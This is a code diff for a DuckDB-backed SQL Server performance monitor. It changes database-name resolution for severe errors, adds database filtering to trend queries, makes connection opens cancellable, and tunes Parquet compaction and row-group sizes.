+        /* #5244: the filter matches on that same per-error name, ordinal, and an id the history never saw (its "database_id N"
+           label is not a name) or an error with no database context is in no chosen database, the reading Darling's severe-errors
+           reader takes, so the same filter returns the same rows on both products. */
+        var filter = databaseNames is { Count: > 0 } ? databaseNames : null;
+
+        var rows = new List<SevereErrorRow>();
+        foreach (var record in records)
+        {
+            if (filter == null || names.IsIn(record.DatabaseId, record.EventTime, filter))
+                rows.Add(new SevereErrorRow(record, names.Resolve(record.DatabaseId, record.EventTime)));
         }
         return rows;
     }
@@ -649,51 +660,127 @@ public async Task<List<SystemHealthRecord>> GetSystemHealthAsync(int serverId, i
     // ── Severe-Errors database name resolution ──
 
     /// <summary>
-    /// The server's latest database_id -> database_name mapping from the collected size-stats (the newest
-    /// name per id — handles a dropped-and-recreated id). DuckDB has no <c>DISTINCT ON</c>, so this uses
-    /// <c>QUALIFY ROW_NUMBER() OVER (PARTITION BY database_id ORDER BY collection_time DESC) = 1</c> — the
-    /// same idiom the archive views' dedup uses. database_size_stats is the mapping source because it is the
-    /// only collected table carrying BOTH database_id and database_name for every online DB.
+    /// The database_id -> database_name history the Severe Errors resolve against (#5373): the name each id carried at
+    /// the errors' own time, not the newest name per id (SQL Server reuses a dropped database's id, so the latest map
+    /// names the wrong database for an old error). Read from the collected size-stats snapshots
+    /// (database_size_stats is the only collected table carrying BOTH database_id and database_name for every online
+    /// DB), limited to the errors' time range, in one query. Darling twin: <c>DatabaseNameHistoryReader.Sql</c>.
+    /// <para><c>floor_snap</c> is the newest snapshot at or before the first error, <c>snap</c> every snapshot from
+    /// there to the last error, and <c>runs</c> keeps the rows where an id's name differs from its previous snapshot
+    /// (ties on one instant break by name, so the result is fixed). The floor snapshot is server-wide, so an id missing
+    /// from it (an offline, suspect or excluded database is not collected) gets <c>before_floor</c>: its newest row
+    /// before the floor, one pass for every such id. The last arm covers an id with no row up to the last error: its
+    /// oldest row after it, also one pass. Both extra arms look at most <see cref="DatabaseNameHistory.LookbackDays"/>
+    /// days (back from the floor, forward from the last error), and the newest-name read the last that many days from now,
+    /// so an id that is never collected cannot make a refresh scan the whole history; the larger name in ordinal order
+    /// wins when one id has two names at one instant, in every arm. An error with no time is named by its id's newest
+    /// name, one more read made only when such an error is shown. The ids are ints and go in as literals, because DuckDB takes no
+    /// array parameter through this driver.</para>
     /// </summary>
-    public async Task<Dictionary<int, string>> GetDatabaseNameMapAsync(int serverId)
+    public async Task<DatabaseNameHistory> GetDatabaseNameHistoryAsync(
+        int serverId, IEnumerable<(int? DatabaseId, DateTime? EventTime)> errors)
     {
+        var plan = DatabaseNameHistory.Plan(errors);
+        if (plan.Ids.Length == 0)
+            return DatabaseNameHistory.Empty;
+
+        var idList = string.Join(", ", plan.Ids.Select(id => id.ToString(System.Globalization.CultureInfo.InvariantCulture)));
+
         using var connection = await OpenConnectionAsync();
-        using var command = connection.CreateCommand();
+        var changes = new List<DatabaseNameHistory.Change>();
 
-        command.CommandText = @"
-SELECT
-    database_id,
-    database_name
+        if (plan.Range is { } range)
+        {
+            using var command = connection.CreateCommand();
+            command.CommandText = $@"
+WITH floor_snap AS (
+    SELECT COALESCE(MAX(collection_time), CAST($2 AS TIMESTAMP)) AS floor_time
+    FROM v_database_size_stats
+    WHERE server_id = $1
+    AND   collection_time <= $2
+),
+snap AS (
+    SELECT DISTINCT database_id, database_name, collection_time
+    FROM v_database_size_stats
+    WHERE server_id = $1
+    AND   collection_time >= (SELECT floor_time FROM floor_snap)
+    AND   collection_time <= $3
+    AND   database_id IN ({idList})
+    AND   database_name IS NOT NULL
+),
+runs AS (
+    SELECT
+        database_id,
+        database_name,
+        collection_time,
+        LAG(database_name) OVER (PARTITION BY database_id ORDER BY collection_time, database_name) AS previous_name
+    FROM snap
+),
+before_floor AS (
+    SELECT database_id, database_name, collection_time
+    FROM v_database_size_stats
+    WHERE server_id = $1
+    AND   collection_time < (SELECT floor_time FROM floor_snap)
+    AND   collection_time >= (SELECT floor_time FROM floor_snap) - INTERVAL '{DatabaseNameHistory.LookbackDays} days'
+    AND   database_id IN ({idList})
+    AND   database_name IS NOT NULL
+    AND   database_id NOT IN (SELECT database_id FROM snap WHERE collection_time = (SELECT floor_time FROM floor_snap))
+    QUALIFY ROW_NUMBER() OVER (PARTITION BY database_id ORDER BY collection_time DESC, database_name DESC) = 1
+),
+after_range AS (
+    SELECT database_id, database_name, collection_time
+    FROM v_database_size_stats
+    WHERE server_id = $1
+    AND   collection_time > $3
+    AND   collection_time <= CAST($3 AS TIMESTAMP) + INTERVAL '{DatabaseNameHistory.LookbackDays} days'
+    AND   database_id IN ({idList})
+    AND   database_name IS NOT NULL
+    AND   database_id NOT IN (SELECT database_id FROM snap)
+    AND   database_id NOT IN (SELECT database_id FROM before_floor)
+    QUALIFY ROW_NUMBER() OVER (PARTITION BY database_id ORDER BY collection_time, database_name DESC) = 1
+)
+SELECT database_id, database_name, collection_time
+FROM runs
+WHERE previous_name IS DISTINCT FROM database_name
+UNION ALL
+SELECT database_id, database_name, collection_time FROM before_floor
+UNION ALL
+SELECT database_id, database_name, collection_time FROM after_range";
+
+            command.Parameters.Add(new DuckDBParameter { Value = serverId });
+            command.Parameters.Add(new DuckDBParameter { Value = range.Min });
+            command.Parameters.Add(new DuckDBParameter { Value = range.Max });
+            await ReadDatabaseNameChangesAsync(command, changes);
+        }
+
+        if (plan.NeedsNewest)
+        {
+            using var newest = connection.CreateCommand();
+            newest.CommandText = $@"
+SELECT database_id, database_name, collection_time
 FROM v_database_size_stats
 WHERE server_id = $1
-QUALIFY ROW_NUMBER() OVER (PARTITION BY database_id ORDER BY collection_time DESC) = 1";
+AND   database_id IN ({idList})
+AND   collection_time >= $2
+AND   database_name IS NOT NULL
+QUALIFY ROW_NUMBER() OVER (PARTITION BY database_id ORDER BY collection_time DESC, database_name DESC) = 1";
+            newest.Parameters.Add(new DuckDBParameter { Value = serverId });
+            newest.Parameters.Add(new DuckDBParameter { Value = DateTime.UtcNow - DatabaseNameHistory.LookbackWindow });
+            await ReadDatabaseNameChangesAsync(newest, changes);
+        }
 
-        command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        return new DatabaseNameHistory(changes);
+    }
 
-        var map = new Dictionary<int, string>();
+    private static async Task ReadDatabaseNameChangesAsync(DuckDBCommand command, List<DatabaseNameHistory.Change> changes)
+    {
         using var reader = await command.ExecuteReaderAsync();
         while (await reader.ReadAsync())
         {
-            if (reader.IsDBNull(0) || reader.IsDBNull(1))
+            if (reader.IsDBNull(0) || reader.IsDBNull(1) || reader.IsDBNull(2))
                 continue;
-            map[reader.GetInt32(0)] = reader.GetString(1);
+            changes.Add(new DatabaseNameHistory.Change(reader.GetInt32(0), reader.GetString(1), reader.GetDateTime(2)));
         }
-        return map;
-    }
-
-    /// <summary>
-    /// Resolves a severe-error <c>database_id</c> to a display name using the collected mapping. A null or 0
-    /// id means "no database context" (error_reported often carries database_id 0; <c>DB_NAME(0)</c> is NULL
-    /// server-side too) -> empty. A real id absent from the map (a database dropped before the latest
-    /// size-stats snapshot, or one never captured) is surfaced as its raw id rather than silently blanked.
-    /// </summary>
-    public static string ResolveDatabaseName(int? databaseId, IReadOnlyDictionary<int, string> databaseNameMap)
-    {
-        if (databaseId is not { } id || id == 0)
-            return string.Empty;
-        if (databaseNameMap.TryGetValue(id, out var name))
-            return name;
-        return $"database_id {id}";
     }
 
     // ── Default Trace (always-on server events; the Default Trace sub-tab) ──
diff --git a/Lite/Services/LocalDataService.TrendBuckets.cs b/Lite/Services/LocalDataService.TrendBuckets.cs
index afec61c3c0..9aab3f2e05 100644
--- a/Lite/Services/LocalDataService.TrendBuckets.cs
+++ b/Lite/Services/LocalDataService.TrendBuckets.cs
@@ -339,13 +339,13 @@ GROUP BY 1
 
     /// <summary>The query-stats duration trend bucketed (#3897) — <see cref="GetQueryDurationTrendAsync"/>'s
     /// per-collection read over <c>v_query_stats</c>, gathered into buckets.</summary>
-    public Task<List<QueryTrendPoint>> GetBucketedQueryDurationTrendAsync(int serverId, int hoursBack, DateTime asOfUtc, int bucketMinutes) =>
-        ReadBucketedDurationTrendAsync("v_query_stats", serverId, hoursBack, asOfUtc, bucketMinutes);
+    public Task<List<QueryTrendPoint>> GetBucketedQueryDurationTrendAsync(int serverId, int hoursBack, DateTime asOfUtc, int bucketMinutes, IReadOnlyList<string>? databaseNames = null) =>
+        ReadBucketedDurationTrendAsync("v_query_stats", serverId, hoursBack, asOfUtc, bucketMinutes, databaseNames);
 
     /// <summary>The procedure-stats duration trend bucketed (#3897) — <see cref="GetProcedureDurationTrendAsync"/>'s
     /// per-collection read over <c>v_procedure_stats</c>, gathered into buckets.</summary>
-    public Task<List<QueryTrendPoint>> GetBucketedProcedureDurationTrendAsync(int serverId, int hoursBack, DateTime asOfUtc, int bucketMinutes) =>
-        ReadBucketedDurationTrendAsync("v_procedure_stats", serverId, hoursBack, asOfUtc, bucketMinutes);
+    public Task<List<QueryTrendPoint>> GetBucketedProcedureDurationTrendAsync(int serverId, int hoursBack, DateTime asOfUtc, int bucketMinutes, IReadOnlyList<string>? databaseNames = null) =>
+        ReadBucketedDurationTrendAsync("v_procedure_stats", serverId, hoursBack, asOfUtc, bucketMinutes, databaseNames);
 
     /// <summary>
     /// The shared body of the two bucketed duration reads (#3897), Darling's
@@ -354,32 +354,95 @@ public Task<List<QueryTrendPoint>> GetBucketedProcedureDurationTrendAsync(int se
     /// work over their summed seconds — a collection with no knowable interval is left out of both, not counted as
     /// zero — its peak is the worst single collection's rate, and <c>unrated_collections</c> counts what was left
     /// out. <paramref name="relation"/> is one of two constants, never caller text.
+    /// <para>#5244: <paramref name="databaseNames"/> narrows the per-collection SUMS, inside the aggregate, the same
+    /// place Darling's <c>BuildBucketedRawTrendSql(..., withDatabaseFilter: true)</c> puts its predicate (#5414 M1):
+    /// a collection where the chosen databases had no rows still counts its seconds, as zero work, so a quiet
+    /// database's rate is its true rate over the bucket and [A] + [B] = [A, B]. A bucket with no matching row at
+    /// all in the window is the tool's empty, decided once for the window and never per bucket (a quiet
+    /// bucket is a measured 0). Null or empty reads every database, the answer this read always gave.</para>
     /// </summary>
     private async Task<List<QueryTrendPoint>> ReadBucketedDurationTrendAsync(
-        string relation, int serverId, int hoursBack, DateTime asOfUtc, int bucketMinutes)
+        string relation, int serverId, int hoursBack, DateTime asOfUtc, int bucketMinutes,
+        IReadOnlyList<string>? databaseNames = null)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
 
         var (startTime, endTime) = GetTimeRange(hoursBack, null, null, asOfUtc);
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 5, out var dbValues);
+        command.CommandText = BucketedDurationTrendSql(relation, dbClause);
 
-        command.CommandText = $@"
-WITH raw AS
+        command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        command.Parameters.Add(new DuckDBParameter { Value = startTime });
+        command.Parameters.Add(new DuckDBParameter { Value = endTime });
+        command.Parameters.Add(new DuckDBParameter { Value = bucketMinutes });
+        foreach (var value in dbValues)
+        {
+            command.Parameters.Add(new DuckDBParameter { Value = value });
+        }
+
+        var items = new List<QueryTrendPoint>();
+        using var reader = await command.ExecuteReaderAsync();
+        while (await reader.ReadAsync())
+        {
+            /* NULL stays NULL (#3541 A12): a bucket whose every collection was unrated is an unrated point. */
+            items.Add(new QueryTrendPoint
+            {
+                CollectionTime = reader.GetDateTime(0),
+                Value = reader.IsDBNull(1) ? null : ToDouble(reader.GetValue(1)),
+                ExecutionCount = reader.IsDBNull(2) ? null : (long)ToDouble(reader.GetValue(2)),
+                ExecutionsPerSecond = reader.IsDBNull(2) ? null : ToDouble(reader.GetValue(2)),
+                PeakElapsedMsPerSecond = reader.IsDBNull(3) ? null : ToDouble(reader.GetValue(3)),
+                FirstCollectionTime = reader.GetDateTime(4),
+                UnratedInBucket = reader.IsDBNull(5) ? 0 : (long)ToDouble(reader.GetValue(5)),
+            });
+        }
+
+        return items;
+    }
+
+    /// <summary>
+    /// The statement behind <see cref="ReadBucketedDurationTrendAsync"/>, in its own member so a test can pin its text
+    /// (#5449). <c>$1</c> server, <c>$2</c> start, <c>$3</c> end, <c>$4</c> width in minutes, then the database filter's own
+    /// numbering from <c>$5</c>. <c>v_query_stats</c> keeps its per-collection read byte for byte; <c>v_procedure_stats</c>
+    /// reads its collections from <see cref="ProcedureCollectionsSql"/> (the run-based axis and denominator) and shares
+    /// everything after them.
+    /// </summary>
+    internal static string BucketedDurationTrendSql(string relation, string dbClause)
+    {
+        /* #5414 M1: the database filter is applied INSIDE the aggregates, not in the WHERE (see DbInPredicate). */
+        var matchedRows = dbClause.Length == 0
+            ? ""
+            : $",\n        COUNT(*) FILTER (WHERE {DbInPredicate(dbClause)}) AS matched_rows";
+        var matchedCarry = dbClause.Length == 0 ? "" : ",\n        matched_rows";
+        /* #5414 round 2: whether the chosen databases had any row is decided once for the whole window (the tool's
+           empty), never per bucket: a bucket they were quiet in is a measured 0, and dropping it made it read missing and
+           the window read truncated. */
+        var windowHasRows = dbClause.Length == 0 ? "" : "\nWHERE EXISTS (SELECT 1 FROM rated WHERE matched_rows > 0)";
+
+        /* #5449: v_procedure_stats stores no row for an idle cycle, so its collections come from ProcedureCollectionsSql
+           (the collector's runs are the axis, an idle run is a 0 point, a bucket's seconds are the rated gaps). */
+        var collections = relation == "v_procedure_stats"
+            ? ProcedureCollectionsSql(dbClause)
+            : $@"raw AS
 (
     SELECT
         collection_time,
-        SUM(delta_elapsed_time) / 1000.0 AS total_elapsed_ms,
-        SUM(delta_execution_count) AS total_executions,
+        {FilteredSum("delta_elapsed_time", dbClause)} / 1000.0 AS total_elapsed_ms,
+        {FilteredSum("delta_execution_count", dbClause)} AS total_executions,
         CASE WHEN MAX(sample_interval_seconds) IS NULL
              THEN extract(epoch FROM (date_trunc('second', collection_time) - date_trunc('second', LAG(collection_time) OVER (ORDER BY collection_time))))
              ELSE NULLIF(MAX(sample_interval_seconds), 0)
-        END AS interval_seconds
+        END AS interval_seconds{matchedRows}
     FROM {relation}
     WHERE server_id = $1
     AND   collection_time >= $2
     AND   collection_time <= $3
     GROUP BY collection_time
-),
+),";
+
+        return $@"
+WITH {collections}
 rated AS
 (
     SELECT
@@ -388,7 +451,7 @@ rated AS
         CASE WHEN interval_seconds > 0 THEN total_executions END AS rated_executions,
         CASE WHEN interval_seconds > 0 THEN interval_seconds END AS rated_seconds,
         CASE WHEN interval_seconds > 0 THEN total_elapsed_ms / interval_seconds END AS elapsed_ms_per_second,
-        CASE WHEN interval_seconds > 0 THEN CAST(total_executions AS DOUBLE PRECISION) / interval_seconds END AS executions_per_second
+        CASE WHEN interval_seconds > 0 THEN CAST(total_executions AS DOUBLE PRECISION) / interval_seconds END AS executions_per_second{matchedCarry}
     FROM raw
 )
 SELECT
@@ -398,33 +461,9 @@ FROM raw
     MAX(elapsed_ms_per_second) AS peak_elapsed_ms_per_second,
     MIN(collection_time) AS first_collection_time,
     COUNT(*) - COUNT(rated_seconds) AS unrated_collections
-FROM rated
+FROM rated{windowHasRows}
 GROUP BY 1
 ORDER BY 1";
-
-        command.Parameters.Add(new DuckDBParameter { Value = serverId });
-        command.Parameters.Add(new DuckDBParameter { Value = startTime });
-        command.Parameters.Add(new DuckDBParameter { Value = endTime });
-        command.Parameters.Add(new DuckDBParameter { Value = bucketMinutes });
-
-        var items = new List<QueryTrendPoint>();
-        using var reader = await command.ExecuteReaderAsync();
-        while (await reader.ReadAsync())
-        {
-            /* NULL stays NULL (#3541 A12): a bucket whose every collection was unrated is an unrated point. */
-            items.Add(new QueryTrendPoint
-            {
-                CollectionTime = reader.GetDateTime(0),
-                Value = reader.IsDBNull(1) ? null : ToDouble(reader.GetValue(1)),
-                ExecutionCount = reader.IsDBNull(2) ? null : (long)ToDouble(reader.GetValue(2)),
-                ExecutionsPerSecond = reader.IsDBNull(2) ? null : ToDouble(reader.GetValue(2)),
-                PeakElapsedMsPerSecond = reader.IsDBNull(3) ? null : ToDouble(reader.GetValue(3)),
-                FirstCollectionTime = reader.GetDateTime(4),
-                UnratedInBucket = reader.IsDBNull(5) ? 0 : (long)ToDouble(reader.GetValue(5)),
-            });
-        }
-
-        return items;
     }
 
     /* ─────────────── the rest of the trend family (#3960): wait, CPU, tempdb, memory, perfmon ─────────────── */
diff --git a/Lite/Services/LocalDataService.WaitStats.cs b/Lite/Services/LocalDataService.WaitStats.cs
index 7c144258f1..730c8f7918 100644
--- a/Lite/Services/LocalDataService.WaitStats.cs
+++ b/Lite/Services/LocalDataService.WaitStats.cs
@@ -18,6 +18,9 @@ namespace PerformanceMonitorLite.Services;
 
 public partial class LocalDataService
 {
+    /// <summary>The characters of a statement the long-running-query alert prints (#5320: judged whole, then cut to this).</summary>
+    internal const int AlertStatementPreviewLength = 300;
+
     /// <summary>#4234: TTL memoization for <see cref="GetDistinctWaitTypesForPickerAsync"/> — see <see cref="LiteNameListCache"/>.</summary>
     private readonly LiteNameListCache _distinctWaitTypesCache = new();
 
@@ -892,7 +895,7 @@ WITH candidates AS (
                     SELECT
                         r.session_id,
                         r.database_name,
-                        SUBSTRING(r.query_text, 1, 300) AS query_text,
+                        r.query_text,
                         r.total_elapsed_time_ms / 1000 AS elapsed_seconds,
                         r.cpu_time_ms,
                         r.reads,
@@ -963,7 +966,9 @@ comparison resolves the naive side in the host's TimeZone. East of UTC the floor
             {
                 SessionId = reader.IsDBNull(0) ? 0 : reader.GetInt32(0),
                 DatabaseName = reader.IsDBNull(1) ? "" : reader.GetString(1),
-                QueryText = reader.IsDBNull(2) ? "" : reader.GetString(2),
+                /* #5320: the whole statement is judged, then cut to the alert's 300 characters here. The read used to cut
+                   in SQL (SUBSTRING), so a value early in a batch whose naming text sat past the 300th character read clean. */
+                QueryText = reader.IsDBNull(2) ? "" : McpHelpers.StatementPreview(reader.GetString(2), AlertStatementPreviewLength) ?? "",
                 ElapsedSeconds = reader.IsDBNull(3) ? 0 : reader.GetInt64(3),
                 CpuTimeMs = reader.IsDBNull(4) ? 0 : reader.GetInt64(4),
                 Reads = reader.IsDBNull(5) ? 0 : reader.GetInt64(5),
diff --git a/Lite/Services/LocalDataService.cs b/Lite/Services/LocalDataService.cs
index ef9c07f0cd..63a7010d46 100644
--- a/Lite/Services/LocalDataService.cs
+++ b/Lite/Services/LocalDataService.cs
@@ -13,6 +13,7 @@
 using System.IO;
 using System.Linq;
 using System.Numerics;
+using System.Threading;
 using System.Threading.Tasks;
 using DuckDB.NET.Data;
 using PerformanceMonitor.Analysis.Baselines;
@@ -41,14 +42,31 @@ public LocalDataService(DuckDbInitializer duckDb)
     /// The lock prevents CHECKPOINT and compaction from reorganizing the database file
     /// while this connection is reading from it.
     /// </summary>
-    internal async Task<LockedConnection> OpenConnectionAsync()
+    internal Task<LockedConnection> OpenConnectionAsync() => OpenConnectionAsync(timer: null, CancellationToken.None);
+
+    /// <summary>
+    /// The same open, abandonable and timed (#5371). A token that can fire takes <c>AcquireReadLock(CancellationToken)</c>,
+    /// which polls the lock and throws <see cref="OperationCanceledException"/> when the token fires, so a superseded read
+    /// stops waiting behind a parked writer instead of queueing for it. <see cref="CancellationToken.None"/> takes the
+    /// original uninterruptible path, so every read that passes no token is unchanged. <paramref name="timer"/> records the
+    /// lock wait and the open apart; null times nothing.
+    /// </summary>
+    internal async Task<LockedConnection> OpenConnectionAsync(ReadPhaseTimer? timer, CancellationToken cancellationToken)
     {
-        var readLock = _duckDb.AcquireReadLock();
+        IDisposable readLock;
+        using (timer?.Measure(ReadPhaseTimer.LockWait))
+        {
+            readLock = _duckDb.AcquireReadLock(cancellationToken);
+        }
+
         try
         {
-            var connection = _duckDb.CreateConnection();
-            await connection.OpenAsync();
-            return new LockedConnection(connection, readLock);
+            using (timer?.Measure(ReadPhaseTimer.Open))
+            {
+                var connection = _duckDb.CreateConnection();
+                await connection.OpenAsync(cancellationToken);
+                return new LockedConnection(connection, readLock);
+            }
         }
         catch
         {
diff --git a/Lite/Services/ParquetCompaction.cs b/Lite/Services/ParquetCompaction.cs
index 47fd71eba9..1082c241d7 100644
--- a/Lite/Services/ParquetCompaction.cs
+++ b/Lite/Services/ParquetCompaction.cs
@@ -24,7 +24,51 @@ public static class ParquetCompaction
        defaults below. */
     public const string DefaultMemoryLimit = "4GB";
     public const int DefaultThreads = 2;
-    public const int DefaultRowGroupSize = 8192;
+    public const int DefaultRowGroupSize = ArchiveRowGroupSize;
+
+    /* Row-group size for every parquet COPY that writes a file the archive views read (#5381).
+
+       DuckDB decodes about a row group's whole column chunk for any read that touches the
+       column, whatever the filter. query_text is the wide one: a file written at the default
+       122,880 rows is ONE row group, so even a 1 h window read decoded the whole file's text
+       (measured on a 68,000-row/day Query Store archive: 335 MB of query_text for a 1 h window,
+       against 73 MB at the 8,192 rows compaction used before this change and 17 MB at 2,048).
+
+       Which files this reaches: the archiver runs hourly and writes one file per pass, and every pass ends
+       by compacting the month's files, so in steady state the archive is month files that compaction wrote
+       (8,192-row groups before this change) plus the newest hourly file. Only files written from now on
+       get 2,048-row groups. Compaction rewrites a month only when that month receives a new hourly file, so
+       past months keep their 8,192-row groups until retention removes them.
+
+       Time pruning is weaker than the writer's shape suggests. The archiver's COPY keeps rows in
+       collection_time order, so each of its groups covers a narrow span. Compaction output does not:
+       it merges with preserve_insertion_order = false on 2 threads, so one group can span several hours
+       (simulated over 168 hourly merges: 190 of 206 groups wider than 3 h). A 1 h window then touches about
+       7% of a compacted file at 2,048 rows against about 27% at 8,192, a gain of about 4x in decoded text,
+       not the near-exact pruning of a time-sorted file. Sorting compaction output by collection_time would
+       tighten that, at the price of a sort (memory and temp disk) per merge (follow-up issue #5410).
+       DuckDB 1.5.5's parallel writer can also place whole row groups in a different order from the source
+       (seen from 4,096-row groups up; one group never moves relative to its own rows). Nothing in Lite reads by file
+       position: the archive views dedup with an explicit ORDER BY collection_time, and pruning is by
+       footer stats.
+
+       2,048 is DuckDB's vector size: it flushes row groups on vector boundaries, so 1,024 writes
+       the same 2,048-row groups. File size grew 1 to 3 percent against the default (measured 1.0 to 2.8% on
+       the Query Store and query_stats shapes) and write time did not change measurably. ROW_GROUP_SIZE_BYTES
+       was rejected for the archive writer, and is used only by the daily tables' merge (DailyRowGroupBytes,
+       #5393), which already runs with preserve_insertion_order = false: DuckDB 1.5.5 only accepts it with preserve_insertion_order = false (a global setting on
+       the shared connection), the rows then come out of order across the scan's row groups (the views' dedup
+       and pruning rely on time order), and with an ORDER BY inside the COPY the bound is not honoured at all
+       (one 68,708-row group). */
+    public const int ArchiveRowGroupSize = 2048;
+
+    /* The one option list for archive COPYs; Lite.Tests' ArchiveCopyOptionsPinTests scans Lite/ so a
+       new COPY cannot skip it. */
+    public static string BuildArchiveCopyOptions(int rowGroupSize = ArchiveRowGroupSize, long rowGroupBytes = 0) =>
+        $"FORMAT PARQUET, COMPRESSION ZSTD, ROW_GROUP_SIZE {rowGroupSize}" +
+        (rowGroupBytes > 0 ? $", ROW_GROUP_SIZE_BYTES {rowGroupBytes}" : "");
+
+    public static readonly string ArchiveCopyOptions = BuildArchiveCopyOptions();
 
     /* On-disk parquet bytes per compaction merge batch. A group whose files
        exceed this budget is merged in multiple passes, each producing a
@@ -32,28 +76,71 @@ defaults below. */
        tables this runs on, so on-disk bytes are a fine proxy for merge memory. */
     public const long DefaultBatchInputBytes = 200L * 1024 * 1024; /* 200 MB */
 
-    /* Tables compaction skips entirely — best-effort (#933).
-
-       query_snapshots stores query-plan XML that expands ~30x on read,
-       concentrated in a handful of multi-MB values (reporter data: query_plan p50
-       47 KB, p99 1.1 MB, max 27 MB). Merging it materializes gigabytes of strings
-       and OOMs the compaction memory cap, and the parquet COPY pre-reserves memory
-       in a way that batching can't get under (DuckDB upstream #16482) on memory-
-       constrained hosts. It also barely compacts — its per-cycle files are already
-       near the largest size that merges safely.
-
-       Rather than retry a doomed multi-minute merge every archival cycle (and log
-       an error each time), we skip it. Its per-cycle files are left in place and
-       pruned by the normal retention sweep, so every plan is retained for the full
-       retention window; only the monthly file-count consolidation is forgone for
-       this one table. */
-    private static readonly HashSet<string> SkipCompactionTables = new(StringComparer.OrdinalIgnoreCase)
+    /* Tables compaction consolidates per DAY instead of per month (#5393, after #933).
+
+       query_snapshots stores query-plan XML that expands ~30x on read, concentrated in a handful of
+       multi-MB values (reporter data: query_plan p50 47 KB, p99 1.1 MB, max 27 MB). Merging it materializes
+       gigabytes of strings, so the 200 MB per-batch budget the other tables use OOMs the compaction memory cap,
+       and #933 skipped the table. That left one file per archive pass (up to about 24 a day, roughly 2,200 in
+       the 3-month window), and every v_query_snapshots read opens each of them at bind.
+
+       It is now merged into YYYYMMDD_query_snapshots.parquet (and _ptNNN parts), one day per group, with its own
+       much smaller per-batch input budget (DailyBatchInputBytes) on one thread. Only the day shapes are merged:
+       a monthly, legacy or imported_ file of this table is still left alone, as before.
+
+       query_stats and query_store_stats join it (#5410), for a different reason: their rows are small, but a
+       month file holds every hourly merge's rows in time order across about 150 row groups, so a one-hour read
+       (the Queries tab's default window) touched 15-20% of a month's row groups (median; 27 rows decoded per row
+       wanted) and a day file touches about 4% (1.05 rows decoded per row wanted). Measured with
+       tools/CompactionRepro on a copy of one laptop's hourly files, repeated for size (directional: one laptop,
+       DuckDB 1.5.5): the day merge with no sort peaked at 1.16 GB at most and used no temp space; ORDER BY
+       collection_time added nothing to the pruning and peaked at 4.2 GB, so the day merge has no sort.
+       A month file written before the switch, and an imported_ file, stay as they are: the per-cycle files that
+       are waiting at the switch were never merged into the month file, so a day file and a month file never
+       hold the same row (neither archive view dedups). */
+    private static readonly HashSet<string> DailyCompactionTables = new(StringComparer.OrdinalIgnoreCase)
     {
-        "query_snapshots"
+        "query_snapshots",
+        "query_stats",
+        "query_store_stats"
     };
 
-    /* Whether compaction skips <paramref name="table"/> entirely (best-effort). */
-    public static bool ShouldSkipCompaction(string table) => SkipCompactionTables.Contains(table);
+    /* Whether compaction merges <paramref name="table"/> one day per group rather than one month per group. */
+    public static bool IsDailyTable(string table) => DailyCompactionTables.Contains(table);
+
+    /* Whether compaction leaves the group (<paramref name="period"/>, <paramref name="table"/>) alone: a table
+       that is merged per day has no monthly merge, so its 6-digit (YYYYMM) groups are skipped. A day group has
+       an 8-digit period. */
+    public static bool ShouldSkipCompaction(string table, string period) =>
+        IsDailyTable(table) && period.Length != 8;
+
+    /* On-disk parquet bytes per merge batch for a daily table (#5393). Measured with tools/CompactionRepro on a
+       copy of a real store's query_snapshots files (directional: a small store, 28 files, 9.2 MB), written with
+       the archive COPY options (2,048-row groups) and repeated until a run held 157 MB (plan text x24: query_plan
+       p50 135 KB, p99 967 KB, max 25.7 MB, the reporter's p99 and max) or 270 MB (x8: p50 45 KB, max 8.6 MB).
+       4 GB memory_limit, one thread, one fresh process per run, peak process working set:
+         - x24, no row-group byte bound: 8 MiB batches peaked at 3.0 GB, 64 MiB batches ran out of memory;
+         - x24 with DailyRowGroupBytes (32 MiB): batches of 8 / 16 / 32 / 64 MiB peaked at 1.17 / 1.15 / 1.26 /
+           1.18 GB, so the budget no longer moves the peak: it levels off at about one buffered row group;
+         - x8 with it: 0.50 / 0.51 / 0.52 / 0.53 GB; x8 without it: 1.3 GB at 8 MiB, 1.5 GB at 64 MiB.
+       64 MiB is the largest budget measured; its worst peak (1.18 GB) is under 2 GB and under half the cap.
+       Peak memory follows the plan text a row group decodes, not the file bytes, so a file whose own size is
+       over the budget is not merged by itself: CompactParquetFiles leaves it where it is. */
+    public const long DailyBatchInputBytes = 64L * 1024 * 1024; /* 64 MiB */
+
+    /* Threads for a daily table's merge: one thread roughly halves the row-group buffers in flight (24x
+       plans, 6.5 MB: 2.0 GB on two threads, 1.3 GB on one) at about twice the time. */
+    public static int ThreadsFor(string table) => IsDailyTable(table) ? 1 : DefaultThreads;
+
+    /* ROW_GROUP_SIZE_BYTES of a daily table's merge output (#5393): a row group is flushed once its uncompressed
+       bytes reach this, whatever its row count. The writer buffers about one row group of plan text, so this, not
+       the input budget above, is what bounds the merge's peak (see the measurements there). 32 and 64 MiB peaked
+       the same (x24, 64 MiB batches: 1.18 and 1.15 GB); 32 MiB makes smaller groups (341 against 311 for the
+       157 MB input), which a time-windowed read prunes better. Usable only because the merge connection sets
+       preserve_insertion_order = false (DuckDB 1.5.5 refuses it otherwise). */
+    public const long DailyRowGroupBytes = 32L * 1024 * 1024; /* 32 MiB */
+
+    public static long RowGroupBytesFor(string table) => IsDailyTable(table) ? DailyRowGroupBytes : 0;
 
     /* Columns to exclude during compaction — dead weight from legacy archives */
     private static readonly Dictionary<string, string[]> CompactionExcludeColumns = new()
@@ -106,9 +193,10 @@ single COPY over the whole batch. DuckDB streams the multi-file parquet
        backlog the pairwise path was ~5x slower (it re-read an ever-larger
        accumulator file every step) and OOM-prone. A single COPY at the default
        row-group size is both faster and stays within the memory cap for the
-       numeric tables this runs on. (Wide query-plan-XML tables can't be merged
-       within the cap at all on constrained hosts and are skipped — see
-       SkipCompactionTables.)
+       numeric tables this runs on. (query_snapshots, with its query-plan XML,
+       is merged one day at a time on a much smaller batch budget, and
+       query_stats and query_store_stats are merged one day at a time so a
+       one-hour read prunes — see DailyCompactionTables.)
 
        Pragma tuning:
          - memory_limit = 4GB: parquet COPY makes allocations that bypass the
@@ -126,7 +214,8 @@ public static void MergeBatchToFile(
         string spillDirSql,
         string memoryLimit = DefaultMemoryLimit,
         int threads = DefaultThreads,
-        int rowGroupSize = DefaultRowGroupSize)
+        int rowGroupSize = DefaultRowGroupSize,
+        long? rowGroupBytes = null)
     {
         using var con = new DuckDBConnection("DataSource=:memory:");
         con.Open();
@@ -136,11 +225,17 @@ public static void MergeBatchToFile(
